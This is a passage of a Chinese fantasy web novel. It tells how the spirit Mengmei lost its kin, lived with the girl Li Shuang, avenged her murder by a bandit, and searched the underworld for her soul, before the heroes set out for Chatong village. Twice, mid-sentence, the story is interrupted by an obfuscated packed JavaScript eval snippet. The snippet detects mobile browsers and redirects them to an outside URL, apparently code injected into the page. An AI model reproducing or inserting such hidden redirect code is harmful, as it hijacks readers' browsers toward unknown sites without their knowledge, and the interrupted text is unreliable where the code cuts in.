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“那现在这身体还是如尸体一般也是因为你回到这具身体中的时间还不够长,气息不稳定?等适应一段时间就会恢复正常的气息了?是这个意思吗?那也就是说你的伤刚刚已经都好了吧?” “嗯,”梦寐点点头,“外伤基本无碍,我们本就无实体,白日里要靠寄居在别的生灵身上才可以见阳光,月光就是我们的力量来源,我只是灵力受损而已,再吸收几日月光精华就可痊愈了。到时候我就可以离开了。” 黎双倒是没有接它最后这句离开的话,而是道,“那你为什么不附身在其它生灵身上,而要附身在这只灰猫的尸体上啊?说书先生说过妖怪一般是不会轻易出现在人类面前的,人类与妖怪的关系可以说是很不好的,还有,为什么你又会灵力受损那么严重?是遇到什么了吗?你的家人呢?” 梦寐顿了顿,嫌弃地翻了个白眼道,“你好啰嗦啊,小孩子哪里来的这么多个为什么?”又沉默了许久,看着窗外的夜色,表情渐渐怅然。家人?它的家人?它还有家人吗? “我……已经没有家人了。”它看着窗外天边挂着的那轮皎洁的明月,眼中的光彩渐渐暗淡下去。 “……”黎双一怔,看着它消沉的模样,心中顿时也不大好受,于是便抬起手来摸了摸它,算是安慰。 梦寐没有躲开她的抚摸,轻柔的抚慰一下一下地,掌心温暖的触感顺着灰猫的身体传到了它的心底。明明它并无实体,旁人触摸不到,但这一瞬间,却真真实实地感受到了这丝来自面前小姑娘的善意。 也许是黎双只是个小孩对它而言并无什么威胁,又或许是这么久了终于遇上了一个与它说话的人。虽然梦寐心中告诉自己不要讲这么多,讲了也没有用,但嘴上却还是没忍住,就这么自言自语般的说了出来。 它没有动,黎双也没有说话,它望着窗外,眼神恍惚间,便慢慢地开口,“几年前,我还有父亲母亲,还有一个很好的姐姐和一群很好的朋友。我们梦寐一族,向来与世无争,每天的日子也很简单。白日里我们会寄居在宿主身上躲避阳光,晚上便会出来吸收月光增长灵力,然后回报宿主为他们吸收负面情绪这就是我们一天的日常。” 黎双轻轻问道:“那后来呢?后来你又怎么会来到人间?” “后来有一天,一群修士来到了我们的家,不知道他们使用了什么法术,确定了我们的行踪,父亲母亲姐姐还有朋友们都被他们抓走了,我们和那些同样失去家人的小妖怪一起,找了妖族五族族长上报了这件事。可是他们因为我们是小妖怪,并不重要,就不断地敷衍搪塞我们。” 89.恶人善妖 “他们一拖再拖,根本没有把我们放在心上。只有他们认为重要的才重要,他们认可的才是妖界子民,而我们这些,不过是他们召之即来挥之即去的工具罢了。他们根本不在意我们的死活。” “你们妖族五族联盟里,难道就没有一个人站出来吗?没有一个不一样的人吗?” “没有!”听到黎双这么发问,梦寐丝毫没有犹豫地便回答了她。听着它语气中的斩钉截铁与那不言而喻的强烈怨气和仇恨。黎双看着它,张了张嘴,此时此刻却不知该说什么,“你……” “我们从来没有想过要怎样,我们只想要好好的活着,为什么这些灾祸会降临到我们头上?为什么是我们?!”梦寐的眼底迸发着仇恨的火光,这些天的怨气仿佛得到了一个宣泄的窗口,它面容扭曲狰狞,肆意地喊着。 “那群贪婪的伪君子并不是不知道我们所遭受的一切,他们比谁都清楚,只不过是他们不想管而已!呵,也对,我们是什么,我们什么也不是,跟他们的利益比起来,我们什么也不是,又何苦为了我们再与修仙界交恶呢……” 黎双站在它身旁,听着它说的这些话,她没想过在它身上发生的竟然会是这种事。眼中虽有心疼,但终究不是她一个十三岁普通小孩所能理解和管得到的,这种修仙妖怪的事她也只在话本上见过。所以她什么也干不了,只能摸着它,尽可能地表现出自己最大的善意来安慰它。 怨气经过这一通嘶吼已经发泄出了一大半,梦寐喘着气,也渐渐地平复了下来。 它呆愣愣地看着桌上放着的那碗水,继续道,“妖界不管我们,我们只能回去,一边隐藏着自己的气息,一边寻找着我们被抓走的亲人。可我们就算隐藏得再好,那群人也能精准地找到我们的藏身之处。” “为什么?”黎双奇怪道,“为什么他们会知道你们的位置?” “不知道。我也想知道,明明我们梦寐一族行踪如迷,为何他们还会找到我们?”梦寐苦笑着说道,“那日,他们又来到了我们的藏身之处,我的同族都被他们捕捉,妖力弱的,当场便被他们炼化成了丹药。梦寐制成的丹药,可控制生灵的心智。我不想就这么死在他们手上,于是拼尽了一身妖力逃脱了。妖力几近全无,最后依附在这具灰猫的尸体之上,以假死之法,这才逃过了一劫。” “然后,我便遇见了你。”梦寐说着,目光看向了黎双。 幻境外,三花看到了这一段,心中也是不尽的苍凉与愧疚。这些年来,妖族联盟确实和之前的不大一样了,她也不知为何,在这件事情上,为何他们会持这种态度?真的只是因为这些年来妖界的实力不济,怕与修仙界起冲突吗? 更奇怪的是,梦寐的行踪向来不定,就连她们平时要统计管理,都未必能立马得到一个完整准确的数据,那些人,又是怎么做到精准无误地确定梦寐的所有行踪的? 看着三花低下去的神情,秦湘顿了顿,走了过去握住她的手轻轻捏了捏,“没事的,三花,我们都会帮你的,我们一起想办法,我们会和你一起揪出幕后真凶,给那些小妖们一个交代的。” “嗯,谢谢秦湘姐姐。”三花抬起眼,朝她点了点头,然后露出一个故作轻松的笑容来。 幻境里,黎双听见了梦寐的这句话后,心脏没由来的一疼,她于心不忍地看着它。她从小就是一个共情能力很强的姑娘。闻者悲泣,她也不知为何,看着面前这只受尽苦楚的小妖怪,就是没由来的很难过。 在这方面,小姑娘嘴笨,不知道说些什么感同身受的话来安慰它,只能将它抱在怀里,很坚定地说道,“没关系,你遇到了我,我以后就会保护你的,我不会让坏人把你捉走的。” 闻言,梦寐呆怔了片刻,只觉得眼眶有些发热发酸。它偏了偏头,半晌才闷闷道,“小孩子就不要说大话了,你连今天下午那群人都打不过,怎么可能保护得了我。” “我是小孩子,你以为你就是大妖怪了吗?大妖怪不会这么幼稚,还会口是心非装模作样,你在妖怪中肯定也只是个小孩子,也是只小妖怪。”黎双说着,低垂着睫毛望向它。 “你的伤反正也还没有完全好,就算伤好了你又要去哪里?听说书先生说,妖怪渡雷劫的时候呆在人身边还可以躲避过雷劫,这是不是说明,与人待久了可以掩盖你妖怪的气息?那些坏人绝对想不到你会在人间,所以不如留在这里吧,只要你愿意,以后,我的房间就分一半给你。” 听着面前的姑娘巴拉巴拉地说了这良多,梦寐静静地看了她良久,最终,只移开眼,语气僵硬且不自然地骂了句,“小孩子话真多,你好聒噪。” 知它口是心非性子拧巴傲来傲去惯了,黎双倒是没有再怼它这句话了,而是双手兴奋地将它的脸捧在掌心,眼睛中盛满光亮,“你刚刚没有拒绝我?是不是觉得我的提议很棒?所以你答应了是不是?你会留在这里的是吧?” “你放开我,我是妖怪,你竟然敢这么对我?不要用这么白痴的眼神看着我,你走开。” 面对着它的抗拒,黎双选择充耳不闻,“那我以后叫你阿梦好不好?你看上去这么小,我肯定比你大,你以后就要叫我姐姐。阿梦,阿梦,叫声姐姐来听听?姐姐以后会保护你的。” “……你这个自说自话的白痴!不要擅自给我做决定啊!喂!!不要这样抱我!!” 梦寐最终还是选择留在了黎双的身边。原因有三,一来是它身上的伤确实还没好,妖力几近全无,重新恢复还需要一段时间;二来是黎双说得没错,如今它这副样子驱使着这个躯壳,又藏在人间,确实可以掩藏掉原本妖的气息,而且不在妖界也就脱离了他们的视线范围之内;三来则是它再过几年便会迎来它的第二次雷劫,呆在人的身边,总归是好的。 各种原因与情况的分析下,留在这儿,确实是最好的打算。 黎父黎母不知它的真身是妖怪,在他们眼中,不过是女儿救回了一只灰扑扑的小流浪猫。既然他们的双儿想要留下它,做父母的,自然不会过多阻拦,正好她没有其他小伙伴,有它作伴也好。 日子一天天过去,黎双也渐渐地长大了,几年时光倏尔,梦寐的伤早已痊愈,妖力也重新恢复如初。这几年时间里,它也想过要离去,可看着黎双对她的那些好,它竟然生出了一种就这么过下去也挺好的念头。 它舍不得走,舍不得离开这个说要保护它的女孩。算了,它想,凡人之命不过短短百年,而百年时光与它而言也不过就是一瞬罢了,不想走那就不走了,护她一世,就当是报答她那天晚上的那些话、还有收留它了。 本来它想着等黎双一世之后,它也便了无牵挂了,到那个时候就是它离去之时。可谁能料想到造化弄人,世事便是这么无常,它想报恩,想保护这个姑娘,想就这样和她无忧无虑地过一辈子,可是,世上之事大多数却总是事与愿违的。 梦寐虽然身上的伤早已大好,妖力也恢复了过来,但它们这种妖怪有一个习性,每一个月中总有那么几天要在月光精华最充沛的时候,找一个阴气盛旺之地去闭关修炼几日,以此来吸收月光精华增长修为。 那一天,梦寐早早地与黎双打了个招呼后出了门,闭关就在三日之后,它得去找找修炼的地方。 等到傍晚时,它回到了家。在这里呆了五年了,梦寐早已将这里当成了自己的家,轻车熟路地用脑袋挤开了那扇木门,刚一走进去,熟悉的身影没看见,药房的床榻上,只躺了一个陌生的男人。 那男人生得魁梧,三十左右的年纪。双目紧闭,嘴唇皲裂地躺在床榻上,腰间卷着一圈又一圈的白色纱布,血液透过纱布浸染而出。梦寐只消看了一眼,便瞧出了他这伤不似平常。 它跳上桌面,朝着床榻那边的男人走去,正待要仔细确认一番之时,那男人却突然睁眼,然后准确无误地朝着它猛地袭来。梦寐防备不及,吓了一大跳,连忙后退躲过。 果然不简单,还是个练家子,这家伙,有点危险。 梦寐一边警惕地打量着他,一边在心中暗暗地思量着。那边男人坐在床边,一手摸着腹部受伤的地方,一边也警惕地望着方才在他面前的东西,见到是只猫,脸上紧绷的神色才渐渐地放松了下去。 一人一猫就这么僵持着,忽然,一道明亮的声音从门口传来,“你醒啦?”虚掩着的木门被人推开,黎双端着碗药出现在了门口,见到门内的场景,先是一愣,旋即回过神来,“阿梦?你怎么回来了?怎么跑这儿来了?” 梦寐白了她一眼,然后转身跳下桌台,来到了她身边,像只寻常小猫一样朝着她喵喵叫唤了几声。 黎双低头朝它笑笑,“好了好了,你先自己玩会吧,我等下再陪你。”说完,便端着药朝着这边床榻上坐着的男人走来,然后将药递给他,“给,既然你醒了就把药喝了吧,对你伤口有好处。” 那男人坐在原地,没动,只是抬着眼皱着眉一语不发地紧紧盯着她。黎双见他半天没有接,虽然觉得奇怪,但也没有多想,端着碗又往他面前送了一送,“接着呀,发什么呆呀。” 被她这么一喊,那男人才动了动眼皮子,将视线放在了面前这碗汤药上来。良久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15398939|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才伸出手来接了,“多谢。” 黎双站在一旁,等他喝完,接过他递过来的空碗,收拾完毕后见他还呆愣愣地坐在床榻边上,这便才道,“你怎么不躺着呀?”她指了指他的腰间,“你这伤挺严重的,需要多休息休息,没有十天半个月最好还是不要乱动得好。” 她眼神落在他的伤口之上,所以并未发觉她在说那句“你这伤挺严重之时”那男人眼中一闪而过的一丝异样。相反是一直在观察着他的梦寐察觉到了这男人处处透露出的不寻常之意。 对危险的本能促使它做出了反应,不等那男人回答什么,它便率先跑到了黎双的面前,一边喵喵着,一边咬着她的裙角试图将她拉开,拉走,离开这个男人,离开这个房间。 “阿梦你怎么了?”黎双不解它的行为,在外人面前,梦寐又不方便直接说话,便只能继续一味的咬着她的裙角将她往外扯。 看着它这个动作,黎双也没法,只得蹲下抱起了它,然后朝着还在床榻边上坐着的男人说了句,“那我先走了,你好好休息吧,有什么事就叫我一声就行。” 说罢,便抱着梦寐端着空碗转身离开了。一从药房中走了出来,黎双便看向怀中的梦寐,正要说话之时,一只肉垫便精准无误地捂在了她的嘴上,“嘘,别说话,先离开这儿,回你房间再说。” 黎双一脸疑惑,满头问号地皱了皱眉毛,但还是依着它抬脚回了房间。刚将房间门关上,梦寐便挥了挥爪子,一层银白色结界落下,将整个房间笼罩。 黎双在桌边坐下,看着它的动作与脸上紧张兮兮的神情,不禁好笑道,“你到底怎么了?怎么从刚才开始就一直奇奇怪怪的?你不是要出去找闭关修炼的地方吗?这么快就找到了?” 梦寐没有接她的话,而是道,“那人是谁?为什么会在这儿?你家不是只种药采药吗?怎么什么时候也做这种救病治病的活儿了?” “我也不知道,是爹娘带回来的,他们上山采药,这人就晕倒在他们面前了,你都不知道,阿爹阿娘把他带回来的时候他浑身是血,和死了也差不多了。”黎双回忆着,“那地方人烟稀少,如果不救他的话,他必死无疑了……” “这人来路不明,浑身上下透露着危险,”梦寐打断了她的话,“不管他是怎样来的,现在他已经醒了,必须让他赶紧离开。” “你在说什么呢?”黎双笑道,“他这伤如此严重,醒了也得再休养几天才能恢复元气,全好估摸着也要一段时日呢,就他这副样子出去走,估计没过两天就一命呜呼了。” “他一命呼呜关你什么事儿,你们已经救了他了,剩下的他活不活就是他自己的命,难道你们还想收留他在这里住不成?”梦寐急道,“你既然懂,你就该明白他那伤不是正常的伤!那是刀剑的伤!你觉得一个正常人会受这种伤吗?” 看着它严肃的神情,黎双沉默了片刻,“我……我知道,可是……” “你既然已经知道他是个危险人物,那就没有可是!刚刚我进去的时候,本想试探一下他,但此人反应特别迅捷,出手也十分地果断毒辣,直取人命门。显然就不是名门正派的作风!!不是名门正派那还能是什么?!不是山匪恶霸就是穷凶极恶之徒!” 闻言,黎双看了它一眼,“你这会不会太过绝对了?怎么可以仅凭这一点就直接断定他就是山匪恶霸或者穷凶极恶之徒呢?” 看着她这副油盐不进的样子,梦寐简直觉得自己要炸了。它猛地跳上桌台,然后走到黎双面前抬爪就给了她一记上勾拳,连声音都带上了怒气,“你是个白痴吗?这不是重点好吗?反正不怕一万就怕万一,这人不像是个好人,你和你爹娘说,想办法赶紧要他走,你听清楚了吗?!” 最后几个字几乎是从牙缝里一个一个地挤出来的一样。黎双见状,知它是为了她好,也知道这人确实来路不明,怕它再生气,于是也不纠结了,连忙应道,“好了好了,我知道了,我会和阿爹阿娘说的,阿梦你别生气了。” “这些天我会呆在家里,哪里也不去,直到这个人离开了为止。” “嗯?那你的修炼怎么办?你不是说这几天的月光精华最充沛吗?不去的话会不会对你造成什么不好的影响啊?” “没事,区区一次而已,在家也可以吸收,不过就是少增长些妖力罢了,”梦寐说着,转过身紧紧地望着那扇合上的木门,像是透过它在看着那药房中的男人似的,“不看着他离开,我就始终没办法安心下来。这几天里,你们也尽量少与他接触,听见了没有?” “嗯,好,知道了。” 90.回到人间 接下来的几天里,只要是需要与这男人接触,梦寐必定就会跟随着一起。 然而并不需要黎双他们再想办法来找借口让他离开,这男人话语极少,对于救过他性命的黎双一家也并没有什么过多的表示之类的,在七日之后的一个早上,便自行离开了。 站在空无一人的药房门口,黎双低头看了看脚边的梦寐,“他走了,你这下放心了吧?” 梦寐没说话,只是盯着那床榻发着呆,沉默片刻,喃喃道,“但愿是我多心了罢。” “哎呀,就是你想太多啦,虽然他这人是挺怪的,但并不代表着他就一定是坏人啊。” “是你想的太少了,”梦寐抬起头来,看着她的眼睛,语气肃然,“黎双,有个时候,不要把人想得太好,防人之心不可无,这世上并不是好人就一定有好报的,你懂吗?” 黎双没经历过那种事,也没见过太多人间险恶,所以在她的认知里,她的日常,只是围绕着桐茶村这一个小村庄而进行的,她见过的最坏的也就是那群欺负流浪猫的小孩罢了。 面对着梦寐这么直白的话语警告,她也只是点了点头,然后道,“知道了,以后会注意的。” 可惜那个时候,她们都不知道,从那之起,就没有以后了。 那男人离开之后,梦寐还是有些不放心。见它每天皱着眉头一副紧张兮兮的模样,黎双就伸手摸上它的眉头不厌其烦地给它揉开,“好了好了,别紧张了,他都走了一个月多了,你怎么还是一副这种模样,小猫咪不要经常皱眉,不然就不可爱了。” “我现在没有心情和你开玩笑,”梦寐晃了晃脑袋,又伸出爪子胡乱拍开了它脸上的手,“我真佩服你这种心态,没心没肺的,大喇喇的。” “是你想得太多啦,你就是一朝被蛇咬,十年怕井绳。这个世界上哪有那么多的坏人,那个人已经离开了你就不要再一直想着他了。” 黎双将竹晒簟中的草药端到了院中晾晒好后,又转头看了看跟在她身后恹恹走着的梦寐,继续道,“今天是中秋,这两日的月光是最好的,你可不要再错过了,一年才一回呢。” 黎双说得是实话,一年中月光最盛的便是这两日了,对于它们这种吸收月光精华增长妖力的妖怪来说,确实是不容错过的。 在黎双的再三劝说下,梦寐还是离开了。那天晚上,在山洞中修炼之时,它心中躁乱,始终无法静下心来,修炼不静心,极易走火入魔。 它猛然惊醒,心头大震。在方才的心魔中,它看见了那个男人,他手持双刃,毫不手软地朝着黎双挥去,黎双倒在了血泊里,血色充斥着它的眼瞳…… 梦寐闭了闭眼,再也没办法静心了。它回到了灰猫的身体之中,转身就朝着桐茶村跑去。它一路狂奔,不敢停歇,直到记忆中那个熟悉的小院出现在眼前,才慢慢停下了脚步。 它怔在原地,瞳孔骤缩。那不是心魔。看着眼前的一切,它浑身都在颤栗着。 原来,那日黎家夫妇救回来的那个男人正如梦寐所猜想的那般,是露华镇外一座山头上杀人无数的山匪头子,因为树敌无数,那日遭仇家暗算落了难,承蒙黎家夫妇二人救济,这才捡回了一条命。 可山匪毕竟是山匪,重伤之时他可以低头道谢,他日却也可以带着双刃折返,毫无感激之情地将救命恩人满门屠尽。 这人便是如此了,因为怕黎家几人暴露他的位置,引来仇家追杀。秉着不能留下一丝对自己不利的踪迹,于是去而折返,在这样一个本该团圆美好的晚上,黎家三人,无一活口。 梦寐呆怔地站在原地,半晌,才猛地反应过来,朝着房间里狂奔而去。 屋子里,那个熟悉的身影此时正静静地躺在地上,鲜血从她腰间不断流出,而她就静静地躺在那儿,再也不会抬头看它一眼了。 “不,黎双,我不让你死,你不能死!!”灰猫的身体软软地倒了下去,一道白光从它体内飘浮而出,然后在半空中凝聚成了梦寐的模样。月光汇集在了它与黎双身上,小妖怪努力着,将自己的妖力源源不断地渡了过去。 可终究是晚了,黎双的身体早已冰凉,而它所有的努力,也终究是一场空。 那天晚上,梦寐将黎家夫妇下葬了之后,就带着黎双的身体回了它的修炼之地。 在那个小小的山洞中,它抚摸着她冰凉的脸颊,声音轻柔,语气中有着小小的埋怨,“我都和你说过了,不要将人想得太好,这世间没有那么多好人,你怎么就是不听我的?” “罢了,也怪我,如果我要是没有离开就好了,你就不会像现在这样躺在这里了……” 顿了良久,它伏倒在她身上,声音哽咽,“黎双,你这个骗子,你还说你要保护我,你说要把你的房间分一半给我,你起来啊,不要睡了,我以后不骂你了……” 长夜寂静,山洞中只有月光轻轻洒下。 不知过了多久,梦寐才眨了眨眼睛,转了转无光的眼珠子。灰猫的身体倒了下去,一缕银色的光辉从它的身体之中渐渐显形,而后缓缓地融入了黎双的身体之内,待到最后一丝光芒消失,黎双紧闭的双眼,也猛然睁开。 她慢慢坐起,腰间的伤口正在快速地愈合着。等到眼前清明之后,她抬起双手,直愣愣地盯着发呆,良久,才缓缓放下,看了眼身旁灰猫的尸首,声音冰冷地没有一丝温度。 “放心吧,黎双,我会为你报仇的,我会让他们付出应有的代价。” 梦寐附身于黎双的尸身之后,就前往了那匪徒所在的山头里。她施展了术法,靠着那些他遗留下来的痕迹,很快,就找到了他的位置。 她来到那山寨之时,那男人正沉浸在揪出叛党重回首位的喜悦当中。见到“黎双”从墙壁里缓缓走出,完好无损地站在他面前之时,他满脸都是不可置信,“你怎么还活着?!这不可能!” 黎双不语,只是冷冷地盯着他,眼底的恨意不言而喻。 她慢慢地朝他走去,一步,两步,三步……男人心中大骇,他抽出刀,横在身前,喝道,“你站住!不许过来,不然我就杀了你!” 恐惧到达了顶峰,男人大喝一声,提着刀就猛地朝着黎双砍去。腹部传来一阵剧痛,他瞳孔骤然紧缩,不可思议地低下了头朝那处看去。原本应该挥砍在黎双身上的刀此时却真真实实地出现在了他的身体之中,而他的手,还紧紧地握在那黑色的刀柄之上。 鲜血从他嘴角流出,他不甘心地看着面前站着的姑娘,“你……到底是……” “下去给她陪葬吧。” 男人倒在了血泊之中,梦寐站在那里,心中却没有分毫的波动。杀了他,又能怎样?它再也见不到她一面了,这煌煌天地间,又只剩下它自己了。 天地之大,它要再去哪里才能找寻到她的身影,它再也找不到了。 在这之后,梦寐心中终究还是不甘,它想再见黎双一面,它本身便是幽灵型妖怪,来往鬼界对它而言并不是难事。事已至此,它没办法再救她,只想着再见她一回,告诉她,它为她报仇了,好好去吧,下一世,一定要好好记着它的话,人间险恶,不要再这么对人好了。 不过也许因为黎双死得实在是很冤枉,很不甘心,明明她与她的家人只是救了一个人,到最后,造化弄人,好人却不得善终。所以她心中有恨有怨,死后魂魄不得安宁。 常言道人有三魂七魄,在彼岸之城中,梦寐却只寻到了黎双的其中二魂,还有一魂下落不明。其它两魂仍然安好,这魂就不可能消失,可是那一魂,却寻遍天上地下,都再无踪迹。 对于这种亡魂,鬼界也无法,只会在规定时限内尽量去寻找,要大费周章去寻找一片魂灵这是不可能的事。而且,它若自己不愿意出来,谁又能找到它? 所以幻境里后来的事,众人便已经从那卖糕点的老爷子那里知道了。 梦寐自身的特殊性,再加上找到那女子的魂魄对鬼界来说也是好事,于是他们便也就睁一只眼,闭一只眼,任由它如此这么出现在了彼岸之城,来返于人间鬼界,寻找魂灵。所以之后便是梦寐附身在黎双的尸身之上,与作为鬼差的宋允棠达成协议,上穷碧落下黄泉地寻找着她这一缕消失的魂灵。 幻境的最后,是附身在黎双身上的梦寐一次又一次出现在善恶之河中的身影。就如秦湘几人昨日见到她的那副模样,白日里顺着河水飘走,然后夜晚又回到彼岸之城中。一袭红衣,掌心托着一簇银白色的光华,仔细地、慢慢地、执拗地穿梭在街道上的每一条陌巷之中,坚持不懈地寻找着。 黎双短短一生的故事到这儿算是结束,房间里,悬浮在众人眼前的光镜又变回了几行金色的小字。宋允棠伸手将桌上的卷轴展开,金字如一阵金色流萤,又回到了卷轴之中。 宋允棠收了卷轴,又看向一旁沉默着的众人,叹了口气,“好了,前因后果就是如此了,所以你们想要从梦寐这里得到消息,可能会有些难度。” 几人站在原地,听着宋允棠的话,心中自然也是明了的。梦寐本身就怨恨妖族,如今因为黎双,对人也自然没什么好印象了,想要求得它帮忙,这会儿,怕是比登天还要难了。 三花沉默了良久,而后抬起了头朝着宋允棠看去,声音坚定,“宋姑娘,我知道这件事很难,但是我不能因为它难我就不敢去尝试,这样的话,越来越多和梦寐一样的妖怪就会更加对妖界失望了,而我不想让它们失望,我想告诉它们,妖族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406042|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联盟里是有人管这件事的,我一定会查出幕后真凶,给它们一个交代。” “所以宋姑娘,如果你知道梦寐的下落的话,请一定告知我,我定当感激不尽。” “是啊,我们也会和你一起的,”秦湘也站了出来,拍拍她的肩,“一定把那幕后真凶揪出来。” “不必这么客气,我也只是担心你们。不过如果你们一定要坚持,那我也没有阻挠你们的道理,”宋允棠说着,摊开手掌,一张四方小纸条凭空而出,“这是茶桐村的地址,你们就去那里吧,会找到你们想要的答案的。” 三花伸手接过那张纸条,打开看了两眼之后抬手朝着她作了一礼,“多谢。” 之后,众人便在彼岸之城中稍作休整了一晚。翌日,在与宋允棠告别了之后,就回到了人间,按照那纸条上的方向出发前往茶桐村。 晨曦初露,天空泛起鱼肚白。露华镇外的乡间小路上,几个身影正慢慢悠悠地走着,这正是刚从彼岸之城中回到人间的秦湘一行人。 乔玉洲对着手中的地图,有些迷迷瞪瞪地看着面前的两条岔路,看了半响,无果。于是便回过头来看着身后跟着的三人,“走哪边?选一条?” “你在打猜吗?”三花有点暴躁了,脱口而出道,“地图上怎么画的就怎么走啊!” 茶桐村是个小村庄,目标太小传送法阵无法准确定位,所以一行人只能退而求其次地将传送法阵最后的目的地定在茶桐村上边的露华镇里,然后再去寻找这茶桐村。 可惜,出师不利。这村子实在是在山坳坳里,山路复杂,几人又是第一回来这种地方,即使手握地图,耽误了一大早上,也未曾瞧见这茶桐村的影子。 “地图上画了三条路,说顺着中间这条走,”乔玉洲也很头秃,“可是这里只有两条路啊,所以只能二选一了,走错了大不了回头再来。” “真的是这里吗?怎么会少了一条路呢?”三花从他手中将那地图拿过来对了对,图上确实画了三条路,而面前,确实又只有两条路。她看了会儿,将地图丢还给了乔玉洲,皱眉道,“会不会是我们一开始就走错了?根本不是这儿?不然怎么就不一样呢?” “不会的,从露华镇出来只有两条道,往西走就是这边没错,绝对没走错。” 看着这边两人挠着头束手无策的样子,秦湘左右看了看,不远处的田垄里,几个农人正挥舞着镰刀摘菜,她指了指道,“那边有人,要不过去问问路吧?” 几人来到了那田垄边上,乔玉洲拿着地图朝着一个农夫走去,“大爷你好,打扰一下,我们几人初到此地,有些迷路了,请问你知道茶桐村往哪里走吗?” 那农夫闻声停下了手中的活,站起身来看向面前站着的几人,大声道:“什么?你说什么?我刚刚没听清,你再说一遍?你们要去哪里啊?” “茶桐村。”乔玉洲将地图往他面前送了送,又指了指一边的小路,“这地图上画着这边应该要有三条岔路,可那儿只有两条,我想知道这是不是我们走错了?” “茶桐村……”农夫眯了眯眼,接过他手中的地图凑过去看了许久,回答道,“没走错,就是这个地方咯,那里原先是有三条路的,最右边那条小路太久没人走过了,已经长满灌木丛了。” 闻言,乔玉洲继续问道,“所以现在就是走右边那条?” “是了是了,”农夫将地图还给了乔玉洲,又很热心肠地接着道,“你们就往右边那条道一直走到尽头,就会看见一口池塘,然后绕过池塘再往左边小道走个一柱香左右,就能看到茶桐村咯。” 几人明了地点点头,朝着农夫道了谢,这才又继续踏上了去茶桐村的路。 从彼岸之城中出来之后,秦湘就一直在思考着这件事背后的各种关系,只是现在线索有限,就算脑子一直没停过的思考,也想不出来太多。 她晃了晃脑袋,满面愁容地叹了口气。这副样子落在了长锦眼中,他轻声问道,“怎么了?” “没什么……”秦湘恹恹地,提不起几分精神,“我只是在想那幕后之人抓梦寐到底有什么用?书上记载,它的妖力又无法像寻常妖怪一样凝聚提取出来,直接炼化制成丹药,虽然可以控制人的心智,但其本身妖力的十分之一都显现不出来,只能短暂控制,不能长久。那人将妖力弱的梦寐制成丹药,那妖力强的呢?他做出来的丹药又想控制谁的心智?嗐,想不通,想不明白……” “想不明白就先不要想了,休息会儿,放空下。”长锦摸摸她的头,轻声道,“我总觉得,不管是那个人还是这件事,很快就要水落石出了。” 秦湘想了想,半晌,笑道,“嗯,我也有这种预感,很快,就要真相大白了。” 91.查无此人 几个人跟着乔玉洲在这乡间小路上绕啊绕,走了约莫小半个时辰后,终于看见了路边立着一块爬满青苔的石牌上清清楚楚地刻着茶桐村三个大字。乔玉洲一看见那三个大字,就如释重负地长叹了一口气,“终于找到了。” 三花站在原地,看着远处零零散散的屋舍道:“宋姑娘说黎双家在村尾那边倒数第二户人家。” 已经到了这儿了,剩下的路就清楚了,乔玉洲将那张地图卷了起来收进腰间挂着的锦囊中,率先走在最前边开路,“好,那我们出发吧。” 几人继续走着,秦湘抬头看了看此时升得正高的阳光,沉默片刻,便拉着长锦快步走到了三花身旁。三人并肩而行,秦湘道,“三花,我有件事想问你一下。” 闻言,三花怔了怔,偏过头来看了她一眼,“怎么了?秦湘姐姐?什么事?” “按理来说,梦寐这种妖怪白日里寄居在其他生灵身上,与其他生灵是和平相处的关系。它们在危机时刻施展的一魂换魂术能占据宿主的躯壳,然后成为宿主。可是这种术法不是禁术吗?一生只能够用一回,那为什么这只梦寐能施展两回?先是在灰猫的身体之内,现在又在黎双身体里。” 三花道:“因为不管是灰猫还是黎双,梦寐在占据她们身体的时候她们都已经死亡了。” “嗯?”秦湘眨了眨眼,惊了,“这有区别吗?都是直接占据宿主的身体。” “有的,”三花点了点头,给她解释道,“施展一魂换魂术和这样直接占据宿主的躯壳有一个很大的差别就是,一个会吞噬掉宿主原有的魂魄,继承宿主的一切,成为了宿主之后就不能够再离开这具身体,从那时起,它便不再是梦寐。而另一种,就像这只,并没有继承宿主的一切,它只是占据了一具没有灵魂的躯壳,梦寐便还是自己。” “原来如此……”秦湘若有所思地想了一想,又道,“那这样的法术可以一直施展吗?只要是已经死亡的躯体,就可以无限次数的更换宿主?” “不行的,”三花摇了摇头,“虽然这不是一魂换魂术,但也是存在着局限,每换一个,它的妖魂也会受到一定程度的损耗。而且用了这种法术,梦寐便不能再施展一魂换魂术了。当损耗一旦到了某个阈值,梦寐便会被困在最后的那具躯壳之中。那时,梦寐便不再是梦寐,会随着那具躯壳的性质生老病死。过程上虽然是曲折了一些,但本质上,最后的结果和一魂换魂术是殊途同归的。” “生老病死?可是那具躯壳不是本身就已经死亡了吗?” “是,但是梦寐一进去相当于给那具身体赋予了新的灵魂,那那具身体本来暂停了的时间就会继续流动。打个比方,如若梦寐此时进入黎双的身体之中损耗的妖力已经到达了那个阈值的话,那它就会成为黎双,成为人,它会代替黎双那不能流动的时间继续走下去,会老会死;换而言之,如若它的损耗还没到达那个点,那它就还是妖,黎双的身体也会跟着妖化,直到未来我们妖的寿命结束之时才会跟着一起消散。” “那我明白了。这两者的区别是,一个取代了原主,吞噬掉原主的魂魄并继承他的一切,包括记忆。一个只是用了宿主的身体,因为它没有吞噬宿主的魂魄,所以除了这具躯壳,其余的一切都是它自己的,它并不会这原主会的东西,相当于只是借了她的身体活一次。” “是了,大致就是这个意思没错了。” 